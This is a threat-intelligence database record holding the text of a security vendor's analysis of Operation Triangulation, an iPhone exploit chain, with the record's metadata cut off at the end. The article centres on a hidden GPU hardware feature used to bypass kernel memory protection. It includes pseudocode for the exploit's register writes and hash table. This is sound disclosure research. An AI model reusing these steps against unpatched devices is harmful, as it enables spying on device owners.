{
	"id": "64f6c783-e5f4-4b76-b334-73d2dfdc8d7f",
	"created_at": "2026-04-06T00:07:49.978464Z",
	"updated_at": "2026-04-10T03:36:33.883405Z",
	"deleted_at": null,
	"sha1_hash": "65198c8a27b1f45908e281903ed3739d67af2924",
	"title": "Operation Triangulation: The last (hardware) mystery",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 546929,
	"plain_text": "Operation Triangulation: The last (hardware) mystery\r\nBy Boris Larin\r\nPublished: 2023-12-27 · Archived: 2026-04-05 15:41:23 UTC\r\nResearch\r\nResearch\r\n27 Dec 2023\r\n 18 minute read\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 1 of 19\n\nUPD 23.04.2025: MITRE created a page for Operation Triangulation as part of its ATT\u0026CK framework.\r\nToday, on December 27, 2023, we (Boris Larin, Leonid Bezvershenko, and Georgy Kucherin) delivered a\r\npresentation, titled, “Operation Triangulation: What You Get When Attack iPhones of Researchers”, at the 37th\r\nChaos Communication Congress (37C3), held at Congress Center Hamburg. The presentation summarized the\r\nresults of our long-term research into Operation Triangulation, conducted with our colleagues, Igor Kuznetsov,\r\nValentin Pashkov, and Mikhail Vinogradov.\r\nThis presentation was also the first time we had publicly disclosed the details of all exploits and vulnerabilities\r\nthat were used in the attack. We discover and analyze new exploits and attacks using these on a daily basis, and we\r\nhave discovered and reported more than thirty in-the-wild zero-days in Adobe, Apple, Google, and Microsoft\r\nproducts, but this is definitely the most sophisticated attack chain we have ever seen.\r\nOperation Triangulation’ attack chain\r\nHere is a quick rundown of this 0-click iMessage attack, which used four zero-days and was designed to work on\r\niOS versions up to iOS 16.2.\r\nAttackers send a malicious iMessage attachment, which the application processes without showing any\r\nsigns to the user.\r\nThis attachment exploits the remote code execution vulnerability CVE-2023-41990 in the undocumented,\r\nApple-only ADJUST TrueType font instruction. This instruction had existed since the early nineties before\r\na patch removed it.\r\nIt uses return/jump oriented programming and multiple stages written in the NSExpression/NSPredicate\r\nquery language, patching the JavaScriptCore library environment to execute a privilege escalation exploit\r\nwritten in JavaScript.\r\nThis JavaScript exploit is obfuscated to make it completely unreadable and to minimize its size. Still, it has\r\naround 11,000 lines of code, which are mainly dedicated to JavaScriptCore and kernel memory parsing and\r\nmanipulation.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 2 of 19\n\nIt exploits the JavaScriptCore debugging feature DollarVM ($vm) to gain the ability to manipulate\r\nJavaScriptCore’s memory from the script and execute native API functions.\r\nIt was designed to support both old and new iPhones and included a Pointer Authentication Code (PAC)\r\nbypass for exploitation of recent models.\r\nIt uses the integer overflow vulnerability CVE-2023-32434 in XNU’s memory mapping syscalls\r\n(mach_make_memory_entry and vm_map) to obtain read/write access to the entire physical memory of the\r\ndevice at user level.\r\nIt uses hardware memory-mapped I/O (MMIO) registers to bypass the Page Protection Layer (PPL). This\r\nwas mitigated as CVE-2023-38606.\r\nAfter exploiting all the vulnerabilities, the JavaScript exploit can do whatever it wants to the device\r\nincluding running spyware, but the attackers chose to: (a) launch the IMAgent process and inject a payload\r\nthat clears the exploitation artefacts from the device; (b) run a Safari process in invisible mode and forward\r\nit to a web page with the next stage.\r\nThe web page has a script that verifies the victim and, if the checks pass, receives the next stage: the Safari\r\nexploit.\r\nThe Safari exploit uses CVE-2023-32435 to execute a shellcode.\r\nThe shellcode executes another kernel exploit in the form of a Mach object file. It uses the same\r\nvulnerabilities: CVE-2023-32434 and CVE-2023-38606. It is also massive in terms of size and\r\nfunctionality, but completely different from the kernel exploit written in JavaScript. Certain parts related to\r\nexploitation of the above-mentioned vulnerabilities are all that the two share. Still, most of its code is also\r\ndedicated to parsing and manipulation of the kernel memory. It contains various post-exploitation utilities,\r\nwhich are mostly unused.\r\nThe exploit obtains root privileges and proceeds to execute other stages, which load spyware. We covered\r\nthese stages in our previous posts.\r\nWe are almost done reverse-engineering every aspect of this attack chain, and we will be releasing a series of\r\narticles next year detailing each vulnerability and how it was exploited.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 3 of 19\n\nHowever, there are certain aspects to one particular vulnerability that we have not been able to fully understand.\r\nThe mystery and the CVE-2023-38606 vulnerability\r\nWhat we want to discuss is related to the vulnerability that has been mitigated as CVE-2023-38606. Recent\r\niPhone models have additional hardware-based security protection for sensitive regions of the kernel memory.\r\nThis protection prevents attackers from obtaining full control over the device if they can read and write kernel\r\nmemory, as achieved in this attack by exploiting CVE-2023-32434. We discovered that to bypass this hardware-based security protection, the attackers used another hardware feature of Apple-designed SoCs.\r\nIf we try to describe this feature and how the attackers took advantage of it, it all comes down to this: they are able\r\nto write data to a certain physical address while bypassing the hardware-based memory protection by writing the\r\ndata, destination address, and data hash to unknown hardware registers of the chip unused by the firmware.\r\nOur guess is that this unknown hardware feature was most likely intended to be used for debugging or testing\r\npurposes by Apple engineers or the factory, or that it was included by mistake. Because this feature is not used by\r\nthe firmware, we have no idea how attackers would know how to use it.\r\nWe are publishing the technical details, so that other iOS security researchers can confirm our findings and come\r\nup with possible explanations of how the attackers learned about this hardware feature.\r\nTechnical details\r\nVarious peripheral devices available in the SoC may provide special hardware registers that can be used by the\r\nCPU to operate these devices. For this to work, these hardware registers are mapped to the memory accessible by\r\nthe CPU and are known as “memory-mapped I/O (MMIO)“.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 4 of 19\n\nAddress ranges for MMIOs of peripheral devices in Apple products (iPhones, Macs, and others) are stored in a\r\nspecial file format: DeviceTree. Device tree files can be extracted from the firmware, and their contents can be\r\nviewed with the help of the dt utility.\r\nExample of how MMIO ranges are stored in the device tree\r\nFor example, in this screenshot, you can see the start (0x210f00000) and the size (0x50000) of the acc-impl\r\nMMIO range for cpu0.\r\nWhile analyzing the exploit used in the Operation Triangulation attack, I discovered that most of the MMIOs used\r\nby the attackers to bypass the hardware-based kernel memory protection do not belong to any MMIO ranges\r\ndefined in the device tree. The exploit targets Apple A12–A16 Bionic SoCs, targeting unknown MMIO blocks of\r\nregisters that are located at the following addresses: 0x206040000, 0x206140000, and 0x206150000.\r\nThe prompted me to try something. I checked different device tree files for different devices and different\r\nfirmware files: no luck. I checked publicly available source code: no luck. I checked the kernel images, kernel\r\nextensions, iboot, and coprocessor firmware in search of a direct reference to these addresses: nothing.\r\nHow could it be that that the exploit used MMIOs that were not used by the firmware? How did the attackers find\r\nout about them? What peripheral device(s) do these MMIO addresses belong to?\r\nIt occurred to me that I should check what other known MMIOs were located in the area close to these unknown\r\nMMIO blocks. That approach was successful.\r\nLet us take a look at a dump of the device tree entry for gfx-asc, which is the GPU coprocessor.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 5 of 19\n\nDump of the device tree entry for gfx-asc\r\nIt has two MMIO ranges: 0x206400000–0x20646C000 and 0x206050000–0x206050008. Let us take a look at\r\nhow they correlate with the regions used by the exploit.\r\nCorrelation of the gfx-asc MMIO ranges and the addresses used by the exploit\r\nTo be more precise, the exploit uses the following unknown addresses: 0x206040000, 0x206140008,\r\n0x206140108, 0x206150020, 0x206150040, and 0x206150048. We can see that most of these are located in the\r\narea between the two gfx-asc regions, and the remaining one is located close to the beginning of the first gfx-asc\r\nregion. This suggested that all these MMIO registers most likely belonged to the GPU coprocessor!\r\nAfter that, I took a closer look at the exploit and found one more thing that confirmed my theory. The first thing\r\nthe exploit does during initialization is writing to some other MMIO register, which is located at a different\r\naddress for each SoC.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 6 of 19\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\nif (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)\r\n    base = 0x23B700408\r\n    command = 0x1F0023FF\r\nelif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)\r\n    base = 0x23B7003C8\r\n    command = 0x1F0023FF\r\nelif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)\r\n    base = 0x23B7003D0\r\n    command = 0x1F0023FF\r\nelif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)\r\n    base = 0x23B080390\r\n    command = 0x1F0003FF\r\nelif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)\r\n    base = 0x23B080388\r\n    command = 0x1F0003FF\r\nif ((~read_dword(base) \u0026 0xF) != 0):\r\n    write_dword(base, command)\r\n    while(True):\r\n        if ((~read_dword(base) \u0026 0xF) == 0):\r\n            break\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 7 of 19\n\nPseudocode for the GFX power manager control code from the exploit\r\nWith the help of the device tree and Siguza’s utility, pmgr, I was able to discover that all these addresses\r\ncorresponded to the GFX register in the power manager MMIO range.\r\nFinally, I obtained a third confirmation when I decided to try and access the registers located in these unknown\r\nregions. Almost instantly, the GPU coprocessor panicked with a message of, “GFX SERROR Exception\r\nclass=0x2f (SError interrupt), IL=1, iss=0 – power(1)”.\r\nThis way, I was able to confirm that all these unknown MMIO registers used for the exploitation belonged to the\r\nGPU coprocessor. This motivated me to take a deeper look at its firmware, which is also written in ARM and\r\nunencrypted, but I could not find anything related to these registers in there.\r\nI decided to take a closer look at how the exploit operated these unknown MMIO registers. The register\r\n0x206040000 stands out from all the others because it is located in a separate MMIO block from all the other\r\nregisters. It is touched only during the initialization and finalization stages of the exploit: it is the first register to\r\nbe set during initialization and the last one, during finalization. From my experience, it was clear that the register\r\neither enabled/disabled the hardware feature used by the exploit or controlled interrupts. I started to follow the\r\ninterrupt route, and fairly soon, I was able to recognize this unknown register, 0x206040000, and also discovered\r\nwhat exactly was mapped to the address range of 0x206000000–0x206050000. Below, you can see the reverse-engineered code of the exploit that I was able to recognize. I have given it a proper name.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\ndef ml_dbgwrap_halt_cpu():\r\n    value = read_qword(0x206040000)\r\n    if ((value \u0026 0x90000000) != 0):\r\n        return\r\n    write_qword(0x206040000, value | 0x80000000)\r\n    while (True):\r\n        if ((read_qword(0x206040000) \u0026 0x10000000) != 0):\r\n            break\r\ndef ml_dbgwrap_unhalt_cpu():\r\n    value = read_qword(0x206040000)\r\n    value = (value \u0026 0xFFFFFFFF2FFFFFFF) | 0x40000000\r\n    write_qword(0x206040000, value)\r\n    while (True):\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 8 of 19\n\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n        if ((read_qword(0x206040000) \u0026 0x10000000) == 0):\r\n            break\r\nPseudocode for the usage of the, 0x206040000 register by the exploit\r\nI was able to match the ml_dbgwrap_halt_cpu function from the pseudocode above to a function with the same\r\nname in the dbgwrap.c file of the XNU source code. This file contains code for working with the ARM CoreSight\r\nMMIO debug registers of the main CPU. The source code states that there are four CoreSight-related MMIO\r\nregions, named ED, CTI, PMU, and UTT. Each  occupies 0x10000 bytes, and they are all located next to one\r\nanother. The ml_dbgwrap_halt_cpu function uses the UTT region, and the source code states that, unlike the other\r\nthree, it does not come from ARM, but is a proprietary Apple feature that was added just for convenience.\r\nI was able to confirm that 0x206000000–0x206050000 was indeed a block of CoreSight MMIO debug registers\r\nfor the GPU coprocessor by writing ARM_DBG_LOCK_ACCESS_KEY to the corresponding location. Each core\r\nof the main CPU has its own block of CoreSight MMIO debug registers, but unlike the GPU coprocessor, their\r\naddresses can be found in the device tree.\r\nIt is also interesting that the author(s) of this exploit knew how to use the proprietary Apple UTT region to unhalt\r\nthe CPU: this code is not part of the XNU source code. Perhaps it is fair to say that this could easily be found out\r\nthrough experimentation.\r\nSomething that cannot be found that way is what the attackers did with the registers in the second unknown\r\nregion. I am not sure what blocks of MMIO debug registers are located there, or how the attackers found out how\r\nto use them if they were not used by the firmware.\r\nLet us look at the remaining unknown registers used by the exploit.\r\nThe registers 0x206140008 and 0x206140108 control enabling/disabling and running the hardware feature used\r\nby the exploit.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 9 of 19\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\ndef dma_ctrl_1():\r\n    ctrl = 0x206140108\r\n    value = read_qword(ctrl)\r\n    write_qword(ctrl, value | 0x8000000000000001)\r\n    sleep(1)\r\n    while ((~read_qword(ctrl) \u0026 0x8000000000000001) != 0):\r\n        sleep(1)\r\ndef dma_ctrl_2(flag):\r\n    ctrl = 0x206140008\r\n    value = read_qword(ctrl)\r\n    if (flag):\r\n        if ((value \u0026 0x1000000000000000) == 0):\r\n            value = value | 0x1000000000000000\r\n            write_qword(ctrl, value)\r\n    else:\r\n        if ((value \u0026 0x1000000000000000) != 0):\r\n            value = value \u0026 ~0x1000000000000000\r\n            write_qword(ctrl, value)\r\ndef dma_ctrl_3(value):\r\n    ctrl = 0x206140108\r\n    value = value | 0x8000000000000000\r\n    write_qword(ctrl, read_qword(ctrl) \u0026 value)\r\n    while ((read_qword(ctrl) \u0026 0x8000000000000001) != 0):\r\n        sleep(1)\r\ndef dma_init(original_value_0x206140108):\r\n    dma_ctrl_1()\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 10 of 19\n\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n    dma_ctrl_2(False)\r\n    dma_ctrl_3(original_value_0x206140108)\r\ndef dma_done(original_value_0x206140108):\r\n    dma_ctrl_1()\r\n    dma_ctrl_2(True)\r\n    dma_ctrl_3(original_value_0x206140108)\r\nPseudocode for the usage of the 0x206140008 and 0x206140108 registers by the exploit\r\nThe register 0x206150020 is used only for Apple A15/A16 Bionic SoCs. It is set to 1 during the initialization\r\nstage of the exploit, and to its original value, during the finalization stage.\r\nThe register 0x206150040 is used to store some flags and the lower half of the destination physical address.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 11 of 19\n\nThe last register, 0x206150048, is used for storing the data that needs to be written and the upper half of the\r\ndestination physical address, bundled together with the data hash and another value (possibly a command). This\r\nhardware feature writes the data in aligned blocks of 0x40 bytes, and everything should be written to the\r\n0x206150048 register in nine sequential writes.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\nif (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)\r\n    i = 8\r\n    mask = 0x7FFFFFF\r\nelif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)\r\n    i = 8\r\n    mask = 0x3FFFFF\r\nelif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)\r\n    i = 0x28\r\n    mask = 0x3FFFFF\r\nelif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)\r\n    i = 0x28\r\n    mask = 0x3FFFFF\r\nelif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)\r\n    i = 0x28\r\n    mask = 0x3FFFFF\r\ndma_init(original_value_0x206140108)\r\nhash1 = calculate_hash(data)\r\nhash2 = calculate_hash(data+0x20)\r\nwrite_qword(0x206150040, 0x2000000 | (phys_addr \u0026 0x3FC0))\r\npos = 0\r\nwhile (pos \u003c 0x40):\r\n    write_qword(0x206150048, read_qword(data + pos))\r\n    pos += 8\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 12 of 19\n\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\nphys_addr_upper = ((((phys_addr \u003e\u003e 14) \u0026 mask) \u003c\u003c 18) \u0026 0x3FFFFFFFFFFFF)\r\nvalue = phys_addr_upper | (hash1 \u003c\u003c i) | (hash2 \u003c\u003c 50) | 0x1F\r\nwrite_qword(0x206150048, value)\r\ndma_done(original_value_0x206140108)\r\nPseudocode for the usage of the 0x206150040 and 0x206150048 registers by the exploit\r\nAs long as everything is done correctly, the hardware should perform a direct memory access (DMA) operation\r\nand write the data to the requested location.\r\nThe exploit uses this hardware feature as a Page Protection Layer (PPL) bypass, mainly for patching page table\r\nentries. It can also be used for patching the data in the protected __PPLDATA segment. The exploit does not use\r\nthe feature to patch the kernel code, but once during a test, I was able to overwrite an instruction in the\r\n__TEXT_EXEC segment of the kernel and get an “Undefined Kernel Instruction” panic with the expected address\r\nand value. This only worked once—the other times I tried I got an AMCC panic. I have an idea about what I did\r\nright that one time it worked, and I am planning to look deeper into this in the future, because I think it would be\r\nreally cool to take a vulnerability that was used to harm us and use it for something good, like enabling kernel\r\ndebugging on new iPhones.\r\nNow that all the work with all the MMIO registers has been covered, let us take a look at one last thing: how\r\nhashes are calculated. The algorithm is shown below.\r\n1 sbox = [\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 13 of 19\n\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n    0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,\r\n    0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043,\r\n    0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,\r\n    0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,\r\n    0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,\r\n    0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7,\r\n    0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,\r\n    0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,\r\n    0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,\r\n    0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D,\r\n    0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,\r\n    0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,\r\n    0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,\r\n    0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC,\r\n    0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,\r\n    0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,\r\n    0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,\r\n    0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3,\r\n    0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,\r\n    0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,\r\n    0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,\r\n    0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241,\r\n    0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,\r\n    0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,\r\n    0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,\r\n    0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4,\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 14 of 19\n\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n    0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,\r\n    0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,\r\n    0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,\r\n    0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4,\r\n    0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,\r\n    0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380\r\n]\r\ndef calculate_hash(buffer):\r\n    acc = 0\r\n    for i in range(8):\r\n        pos = i * 4\r\n        value = read_dword(buffer + pos)\r\n        for j in range(32):\r\n            if (((value \u003e\u003e j) \u0026 1) != 0):\r\n                acc ^= sbox[32 * i + j]\r\n    return acc\r\nPseudocode for the hash function used by this unknown hardware feature\r\nAs you can see, it is a custom algorithm, and the hash is calculated by using a predefined sbox table. I tried to\r\nsearch for it in a large collection of binaries, but found nothing.\r\nYou may notice that this hash does not look very secure, as it occupies just 20 bits (10+10, as it is calculated\r\ntwice), but it does its job as long as no one knows how to calculate and use it. It is best summarized with the term\r\n“security by obscurity“.\r\nHow could attackers discover and exploit this hardware feature if it is not used and there are no instructions\r\nanywhere in the firmware on how to use it?\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 15 of 19\n\nI ran one more test. I checked and found that the M1 chip inside the Mac also has this unknown hardware feature.\r\nThen I used the amazing  m1n1 tool to conduct an experiment. This tool has a trace_range function, which traces\r\nall access to a provided range of MMIO registers. I used it to set up tracing for the memory range 0x206110000–\r\n0x206400000, but it reported no usage of these registers by macOS.\r\nThrough an amazing coincidence, both my 37C3 presentation and this post discuss a vulnerability very similar to\r\nthe one I talked about during my presentation at the 36th Chaos Communication Congress (36C3) in 2019.\r\nIn the presentation titled, “Hacking Sony PlayStation Blu-ray Drives”, I talked about how I was able to dump\r\nfirmware and achieve code execution on the Blu-ray drives of Sony PlayStation 3 and 4 by using MMIO DMA\r\nregisters that were accessible through SCSI commands.\r\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nI was able to discover and exploit this vulnerability, because earlier versions of the firmware used these registers\r\nfor all DRAM operations, but then Sony stopped using them and started just accessing DRAM directly, because\r\nall DRAM was also mapped to the CPU address space. Because no one was using these registers anymore and I\r\nknew how to use them, I took advantage of them. It did not need to know any secret hash algorithm.\r\nCould something similar have happened in this case? I do not know that, but this GPU coprocessor first appeared\r\nin the recent Apple SoCs. In my personal opinion, based on all the information that I provided above, I highly\r\ndoubt that this hardware feature was previously used for anything in retail firmware. Nevertheless, there is a\r\npossibility that it was previously revealed by mistake in some particular firmware or XNU source code release and\r\nthen removed.\r\nI was hoping to find out what was located inside the second unknown region from the fix for this vulnerability\r\nimplemented in iOS 16.6. I was able to find out how Apple mitigated this issue, but they obfuscated the fix.\r\nApple mitigated this vulnerability by adding the MMIO ranges 0x206000000–0x206050000 and 0x206110000–\r\n0x206400000 used by the exploit to the pmap-io-ranges stored in the device tree. XNU uses the information\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 16 of 19\n\nstored there to determine whether to allow mapping of certain physical addresses. All entries stored there have a\r\nmeaningful tag name that explains what kind of memory the range belongs to.\r\nExample of entries stored in the pmap-io-ranges\r\nHere, PCIe stands for “Peripheral Component Interconnect Express”, DART stands for “Device Address\r\nResolution Table”, DAPF means “Device Address Filter”, and so on.\r\nAnd here are the tag names for regions used by the exploit. They stand out from the rest.\r\nEntries for regions used by the exploit\r\nConclusion\r\nThis is no ordinary vulnerability, and we have many unanswered questions. We do not know how the attackers\r\nlearned to use this unknown hardware feature or what its original purpose was. Neither do we know if it was\r\ndeveloped by Apple or it’s a third-party component like ARM CoreSight.\r\nWhat we do know—and what this vulnerability demonstrates—is that advanced hardware-based protections are\r\nuseless in the face of a sophisticated attacker as long as there are hardware features that can bypass those\r\nprotections.\r\nHardware security very often relies on “security through obscurity”, and it is much more difficult to reverse-engineer than software, but this is a flawed approach, because sooner or later, all secrets are revealed. Systems that\r\nrely on “security through obscurity” can never be truly secure.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 17 of 19\n\nUpdate 2024-01-09\r\nFamous hardware hacker Hector Martin (marcan) was able to figure out that what we thought was a custom hash\r\nwas actually something a little different. It is an error correction code (ECC), or more precisely, a Hamming code\r\nwith a custom lookup table (what we call “sbox table” in the text above).\r\nThis discovery helps us understand the original purpose of this unknown hardware feature. We originally thought\r\nit was a debugging feature that provided direct memory access to the memory and was protected with a “dummy”\r\nhash for extra security. But the fact that it involves an ECC, coupled with the unstable behavior observed when\r\ntrying to use it to patch the kernel code, leads to the conclusion that this hardware feature provides direct memory\r\naccess to the cache.\r\nThis discovery also raises the possibility that this unused hardware feature could have been found through\r\nexperimentation, but to do so would require attackers to solve a large number of unknown variables. Attackers\r\ncould find values in a custom lookup table using brute force, but they would also need to know that such a\r\npowerful cache debugging feature exists, that it involves Hamming code and, most importantly, they would need\r\nto know the location and purpose of all the MMIO registers involved, and how and in what order to interact with\r\nthem. Were the attackers able to resolve all these unknown variables by themselves or was this information\r\nrevealed somewhere by mistake? It still remains a mystery.\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 18 of 19\n\nLatest Posts\r\nLatest Webinars\r\nReports\r\nKaspersky researchers analyze updated CoolClient backdoor and new tools and scripts used in HoneyMyte (aka\r\nMustang Panda or Bronze President) APT campaigns, including three variants of a browser data stealer.\r\nKaspersky discloses a 2025 HoneyMyte (aka Mustang Panda or Bronze President) APT campaign, which uses a\r\nkernel-mode rootkit to deliver and protect a ToneShell backdoor.\r\nKaspersky GReAT experts analyze the Evasive Panda APT’s infection chain, including shellcode encrypted with\r\nDPAPI and RC5, as well as the MgBot implant.\r\nKaspersky expert describes new malicious tools employed by the Cloud Atlas APT, including implants of their\r\nsignature backdoors VBShower, VBCloud, PowerShower, and CloudAtlas.\r\nSource: https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nhttps://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\r\nPage 19 of 19\n\n48 Pseudocode for the usage of the 0x206140008 and 0x206140108 registers by the exploit \nThe register 0x206150020 is used only for Apple A15/A16 Bionic SoCs. It is set to 1 during the initialization\nstage of the exploit, and to its original value, during the finalization stage.  \nThe register 0x206150040 is used to store some flags and the lower half of the destination physical address.\n   Page 11 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"ETDA",
		"MITRE",
		"Malpedia"
	],
	"references": [
		"https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/"
	],
	"report_names": [
		"111669"
	],
	"threat_actors": [
		{
			"id": "ad08bd3d-e65c-4cfd-874a-9944380573fd",
			"created_at": "2023-06-23T02:04:34.517668Z",
			"updated_at": "2026-04-10T02:00:04.842233Z",
			"deleted_at": null,
			"main_name": "Operation Triangulation",
			"aliases": [],
			"source_name": "ETDA:Operation Triangulation",
			"tools": [
				"TriangleDB"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "77b28afd-8187-4917-a453-1d5a279cb5e4",
			"created_at": "2022-10-25T15:50:23.768278Z",
			"updated_at": "2026-04-10T02:00:05.266635Z",
			"deleted_at": null,
			"main_name": "Inception",
			"aliases": [
				"Inception Framework",
				"Cloud Atlas"
			],
			"source_name": "MITRE:Inception",
			"tools": [
				"PowerShower",
				"VBShower",
				"LaZagne"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "113b8930-4626-4fa0-9a3a-bcf3ef86f595",
			"created_at": "2024-02-06T02:00:04.14393Z",
			"updated_at": "2026-04-10T02:00:03.578394Z",
			"deleted_at": null,
			"main_name": "Operation Triangulation",
			"aliases": [],
			"source_name": "MISPGALAXY:Operation Triangulation",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "04a7ebaa-ebb1-4971-b513-a0c86886d932",
			"created_at": "2023-01-06T13:46:38.784965Z",
			"updated_at": "2026-04-10T02:00:03.099088Z",
			"deleted_at": null,
			"main_name": "Inception Framework",
			"aliases": [
				"Clean Ursa",
				"Cloud Atlas",
				"G0100",
				"ATK116",
				"Blue Odin"
			],
			"source_name": "MISPGALAXY:Inception Framework",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f35997d9-ca1e-453f-b968-0e675cc16d97",
			"created_at": "2023-01-06T13:46:39.490819Z",
			"updated_at": "2026-04-10T02:00:03.345364Z",
			"deleted_at": null,
